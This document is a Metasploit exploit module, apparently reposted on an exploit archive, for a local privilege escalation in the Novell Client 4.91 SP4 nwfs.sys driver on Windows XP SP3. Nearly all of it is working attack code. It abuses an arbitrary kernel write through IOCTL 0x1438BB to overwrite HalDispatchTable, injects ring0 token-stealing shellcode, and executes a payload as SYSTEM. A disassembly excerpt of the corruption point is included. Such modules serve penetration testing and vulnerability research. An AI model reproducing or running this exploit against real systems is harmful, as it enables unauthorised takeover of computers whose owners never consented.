Novell Client 4.91 SP4 nwfs.sys Local Privilege Escalation Exploit

:
26.06.2013
:
Novell Client 4.91
:

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##

require 'msf/core'
require 'rex'
require 'msf/core/post/common'
require 'msf/core/post/windows/priv'

class Metasploit3 < Msf::Exploit::Local
Rank = AverageRanking

include Msf::Post::Common
include Msf::Post::Windows::Priv

def initialize(info={})
super(update_info(info, {
'Name' => 'Novell Client 4.91 SP4 nwfs.sys Local Privilege Escalation',
'Description' => %q{
This module exploits a flaw in the nwfs.sys driver to overwrite data in kernel
space. The corruption occurs while handling ioctl requests with code 0x1438BB,
where a 0x00000009 dword is written to an arbitrary address. An entry within the
HalDispatchTable is overwritten in order to execute arbitrary code when
NtQueryIntervalProfile is called. The module has been tested successfully on
Windows XP SP3 with Novell Client 4.91 SP4.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Ruben Santamarta', # Vulnerability discovery and PoC
'juan vazquez' # MSF module
],
'Arch' => ARCH_X86,
'Platform' => 'win',
'SessionTypes' => [ 'meterpreter' ],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Targets' =>
[
# Tested with nwfs.sys 4.91.4.7 as installed with Novell Client 4.91 SP4
[ 'Automatic', { } ],
[ 'Windows XP SP3',
{
'HaliQuerySystemInfo' => 0x16bba, # Stable over Windows XP SP3 updates
'_KPROCESS' => "\x44", # Offset to _KPROCESS from a _ETHREAD struct
'_TOKEN' => "\xc8", # Offset to TOKEN from the _EPROCESS struct
'_UPID' => "\x84", # Offset to UniqueProcessId FROM the _EPROCESS struct
'_APLINKS' => "\x88" # Offset to ActiveProcessLinks _EPROCESS struct
}
]
],
'References' =>
[
[ 'OSVDB', '46578' ],
[ 'BID', '30001' ],
[ 'URL', 'http://support.novell.com/docs/Readmes/InfoDocument/patchbuilder/readme_5028543.html' ]
],
'DisclosureDate'=> 'Jun 26 2008',
'DefaultTarget' => 0
}))

end

def add_railgun_functions
session.railgun.add_function(
'ntdll',
'NtAllocateVirtualMemory',
'DWORD',
[
["DWORD", "ProcessHandle", "in"],
["PBLOB", "BaseAddress", "inout"],
["PDWORD", "ZeroBits", "in"],
["PBLOB", "RegionSize", "inout"],
["DWORD", "AllocationType", "in"],
["DWORD", "Protect", "in"]
])

session.railgun.add_function(
'ntdll',
'NtDeviceIoControlFile',
'DWORD',
[
[ "DWORD", "FileHandle", "in" ],
[ "DWORD", "Event", "in" ],
[ "DWORD", "ApcRoutine", "in" ],
[ "DWORD", "ApcContext", "in" ],
[ "PDWORD", "IoStatusBlock", "out" ],
[ "DWORD", "IoControlCode", "in" ],
[ "LPVOID", "InputBuffer", "in" ],
[ "DWORD", "InputBufferLength", "in" ],
[ "LPVOID", "OutputBuffer", "in" ],
[ "DWORD", "OutPutBufferLength", "in" ]
])

session.railgun.add_function(
'ntdll',
'NtQueryIntervalProfile',
'DWORD',
[
[ "DWORD", "ProfileSource", "in" ],
[ "PDWORD", "Interval", "out" ]
])
session.railgun.add_dll('psapi') if not session.railgun.dlls.keys.include?('psapi')
session.railgun.add_function(
'psapi',
'EnumDeviceDrivers',
'BOOL',
[
["PBLOB", "lpImageBase", "out"],
["DWORD", "cb", "in"],
["PDWORD", "lpcbNeeded", "out"]
])
session.railgun.add_function(
'psapi',
'GetDeviceDriverBaseNameA',
'DWORD',
[
["LPVOID", "ImageBase", "in"],
["PBLOB", "lpBaseName", "out"],
["DWORD", "nSize", "in"]
])
end

def open_device(dev)

invalid_handle_value = 0xFFFFFFFF

r = session.railgun.kernel32.CreateFileA(dev, "GENERIC_READ", 0x3, nil, "OPEN_EXISTING", "FILE_ATTRIBUTE_READONLY", 0)

handle = r['return']

if handle == invalid_handle_value
return nil
end

return handle
end

def find_sys_base(drvname)
results = session.railgun.psapi.EnumDeviceDrivers(4096, 1024, 4)
addresses = results['lpImageBase'][0..results['lpcbNeeded'] - 1].unpack("L*")

addresses.each do |address|
results = session.railgun.psapi.GetDeviceDriverBaseNameA(address, 48, 48)
current_drvname = results['lpBaseName'][0..results['return'] - 1]
if drvname == nil
if current_drvname.downcase.include?('krnl')
return [address, current_drvname]
end
elsif drvname == results['lpBaseName'][0..results['return'] - 1]
return [address, current_drvname]
end
end

return nil
end

def execute_shellcode(shell_addr)

vprint_status("Creating the thread to execute the shellcode...")
ret = session.railgun.kernel32.CreateThread(nil, 0, shell_addr, nil, "CREATE_SUSPENDED", nil)
if ret['return'] < 1
vprint_error("Unable to CreateThread")
return nil
end
hthread = ret['return']

vprint_status("Resuming the Thread...")
ret = client.railgun.kernel32.ResumeThread(hthread)
if ret['return'] < 1
vprint_error("Unable to ResumeThread")
return nil
end

return true
end

def ring0_shellcode(t)
restore_ptrs = "\x31\xc0" # xor eax, eax
restore_ptrs << "\xb8" + [ @addresses["HaliQuerySystemInfo"] ].pack("L") # mov eax, offset hal!HaliQuerySystemInformation
restore_ptrs << "\xa3" + [ @addresses["halDispatchTable"] + 4 ].pack("L") # mov dword ptr [nt!HalDispatchTable+0x4], eax

tokenstealing = "\x52" # push edx # Save edx on the stack
tokenstealing << "\x53" # push ebx # Save ebx on the stack
tokenstealing << "\x33\xc0" # xor eax, eax # eax = 0
tokenstealing << "\x64\x8b\x80\x24\x01\x00\x00" # mov eax, dword ptr fs:[eax+124h] # Retrieve ETHREAD
tokenstealing << "\x8b\x40" + t['_KPROCESS'] # mov eax, dword ptr [eax+44h] # Retrieve _KPROCESS
tokenstealing << "\x8b\xc8" # mov ecx, eax
tokenstealing << "\x8b\x98" + t['_TOKEN'] + "\x00\x00\x00" # mov ebx, dword ptr [eax+0C8h] # Retrieves TOKEN
tokenstealing << "\x8b\x80" + t['_APLINKS'] + "\x00\x00\x00" # mov eax, dword ptr [eax+88h] <====| # Retrieve FLINK from ActiveProcessLinks
tokenstealing << "\x81\xe8" + t['_APLINKS'] + "\x00\x00\x00" # sub eax,88h | # Retrieve _EPROCESS Pointer from the ActiveProcessLinks
tokenstealing << "\x81\xb8" + t['_UPID'] + "\x00\x00\x00\x04\x00\x00\x00" # cmp dword ptr [eax+84h], 4 | # Compares UniqueProcessId with 4 (The System Process on Windows XP)
tokenstealing << "\x75\xe8" # jne 0000101e ======================
tokenstealing << "\x8b\x90" + t['_TOKEN'] + "\x00\x00\x00" # mov edx,dword ptr [eax+0C8h] # Retrieves TOKEN and stores on EDX
tokenstealing << "\x8b\xc1" # mov eax, ecx # Retrieves KPROCESS stored on ECX
tokenstealing << "\x89\x90" + t['_TOKEN'] + "\x00\x00\x00" # mov dword ptr [eax+0C8h],edx # Overwrites the TOKEN for the current KPROCESS
tokenstealing << "\x5b" # pop ebx # Restores ebx
tokenstealing << "\x5a" # pop edx # Restores edx
tokenstealing << "\xc2\x10" # ret 10h # Away from the kernel!

ring0_shellcode = restore_ptrs + tokenstealing
return ring0_shellcode
end

def fill_memory(proc, address, length, content)

result = session.railgun.ntdll.NtAllocateVirtualMemory(-1, [ address ].pack("L"), nil, [ length ].pack("L"), "MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN", "PAGE_EXECUTE_READWRITE")

if not proc.memory.writable?(address)
vprint_error("Failed to allocate memory")
return nil
else
vprint_good("#{address} is now writable")
end

result = proc.memory.write(address, content)

if result.nil?
vprint_error("Failed to write contents to memory")
return nil
else
vprint_good("Contents successfully written to 0x#{address.to_s(16)}")
end

return address
end

def disclose_addresses(t)
addresses = {}

vprint_status("Getting the Kernel module name...")
kernel_info = find_sys_base(nil)
if kernel_info.nil?
vprint_error("Failed to disclose the Kernel module name")
return nil
end
vprint_good("Kernel module found: #{kernel_info[1]}")

vprint_status("Getting a Kernel handle...")
kernel32_handle = session.railgun.kernel32.LoadLibraryExA(kernel_info[1], 0, 1)
kernel32_handle = kernel32_handle['return']
if kernel32_handle == 0
vprint_error("Failed to get a Kernel handle")
return nil
end
vprint_good("Kernel handle acquired")


vprint_status("Disclosing the HalDispatchTable...")
hal_dispatch_table = session.railgun.kernel32.GetProcAddress(kernel32_handle, "HalDispatchTable")
hal_dispatch_table = hal_dispatch_table['return']
if hal_dispatch_table == 0
vprint_error("Failed to disclose the HalDispatchTable")
return nil
end
hal_dispatch_table -= kernel32_handle
hal_dispatch_table += kernel_info[0]
addresses["halDispatchTable"] = hal_dispatch_table
vprint_good("HalDispatchTable found at 0x#{addresses["halDispatchTable"].to_s(16)}")

vprint_status("Getting the hal.dll Base Address...")
hal_info = find_sys_base("hal.dll")
if hal_info.nil?
vprint_error("Failed to disclose hal.dll Base Address")
return nil
end
hal_base = hal_info[0]
vprint_good("hal.dll Base Address disclosed at 0x#{hal_base.to_s(16)}")

hali_query_system_information = hal_base + t['HaliQuerySystemInfo']
addresses["HaliQuerySystemInfo"] = hali_query_system_information

vprint_good("HaliQuerySystemInfo Address disclosed at 0x#{addresses["HaliQuerySystemInfo"].to_s(16)}")
return addresses
end


def exploit

vprint_status("Adding the railgun stuff...")
add_railgun_functions

if sysinfo["Architecture"] =~ /wow64/i
fail_with(Exploit::Failure::NoTarget, "Running against WOW64 is not supported")
elsif sysinfo["Architecture"] =~ /x64/
fail_with(Exploit::Failure::NoTarget, "Running against 64-bit systems is not supported")
end

my_target = nil
if target.name =~ /Automatic/
print_status("Detecting the target system...")
os = sysinfo["OS"]
print_status("#{os.inspect}")
if os =~ /windows xp/i
my_target = targets[1]
print_status("Running against #{my_target.name}")
end
else
my_target = target
end

if my_target.nil?
fail_with(Exploit::Failure::NoTarget, "Remote system not detected as target, select the target manually")
end

print_status("Checking device...")
handle = open_device("\\\\.\\nwfs")
if handle.nil?
fail_with(Exploit::Failure::NoTarget, "\\\\.\\nwfs device not found")
else
print_good("\\\\.\\nwfs found!")
end

print_status("Disclosing the HalDispatchTable and hal!HaliQuerySystemInfo addresses...")
@addresses = disclose_addresses(my_target)
if @addresses.nil?
session.railgun.kernel32.CloseHandle(handle)
fail_with(Exploit::Failure::Unknown, "Filed to disclose necessary addresses for exploitation. Aborting.")
else
print_good("Addresses successfully disclosed.")
end


print_status("Storing the kernel stager on memory...")
this_proc = session.sys.process.open
kernel_shell = ring0_shellcode(my_target)
kernel_shell_address = 0x1000
result = fill_memory(this_proc, kernel_shell_address, 0x1000, kernel_shell)
if result.nil?
session.railgun.kernel32.CloseHandle(handle)
fail_with(Exploit::Failure::Unknown, "Error while storing the kernel stager shellcode on memory")
else
print_good("Kernel stager successfully stored at 0x#{kernel_shell_address.to_s(16)}")
end

print_status("Storing the trampoline to the kernel stager on memory...")
trampoline = "\x90" * 0x20 # nops
trampoline << "\x68" # push opcode
trampoline << [0x1000].pack("V") # address to push
trampoline << "\xc3" # ret
trampoline_addr = 0x3
result = fill_memory(this_proc, trampoline_addr, 0x1000, trampoline)
if result.nil?
session.railgun.kernel32.CloseHandle(handle)
fail_with(Exploit::Failure::Unknown, "Error while storing trampoline on memory")
else
print_good("Trampoline successfully stored at 0x#{trampoline_addr.to_s(16)}")
end

print_status("Triggering the vulnerability, corrupting the HalDispatchTable...")
magic_ioctl = 0x1438BB
ioctl = session.railgun.ntdll.NtDeviceIoControlFile(handle, 0, 0, 0, 4, magic_ioctl, @addresses["halDispatchTable"] + 0x4, 0x10, 0, 0)
session.railgun.kernel32.CloseHandle(handle)

print_status("Executing the Kernel Stager throw NtQueryIntervalProfile()...")
result = session.railgun.ntdll.NtQueryIntervalProfile(1337, 4)

print_status("Checking privileges after exploitation...")

if not is_system?
fail_with(Exploit::Failure::Unknown, "The exploitation wasn't successful")
else
print_good("Exploitation successful!")
end

print_status("Storing the final payload on memory...")
shell_address = 0x0c0c0000
result = fill_memory(this_proc, shell_address, 0x1000, payload.encoded)
if result.nil?
fail_with(Exploit::Failure::Unknown, "Error while storing the final payload on memory")
else
print_good("Final payload successfully stored at 0x#{shell_address.to_s(16)}")
end

print_status("Executing the payload...")
result = execute_shellcode(shell_address)
if result.nil?
fail_with(Exploit::Failure::Unknown, "Error while executing the payload")
else
print_good("Enjoy!")
end

end

end

=begin

[*] Corruption

.text:0005512E sub_5512E proc near ; CODE XREF: ioctl_handler_sub_2FE4C+295p
.text:0005512E ; sub_405C4+29Bp
.text:0005512E
.text:0005512E ms_exc = CPPEH_RECORD ptr -18h
.text:0005512E arg_0 = dword ptr 8
.text:0005512E
.text:0005512E push 8
.text:00055130 push offset stru_79268
.text:00055135 call __SEH_prolog
.text:0005513A xor eax, eax
.text:0005513C mov ecx, [ebp+arg_0]
.text:0005513F mov ecx, [ecx+0Ch]
.text:00055142 mov ecx, [ecx+60h]
.text:00055145 mov ecx, [ecx+10h]
.text:00055148 mov [ebp+ms_exc.registration.TryLevel], eax
.text:0005514B mov dword ptr [ecx], 9 // Corruption

=end

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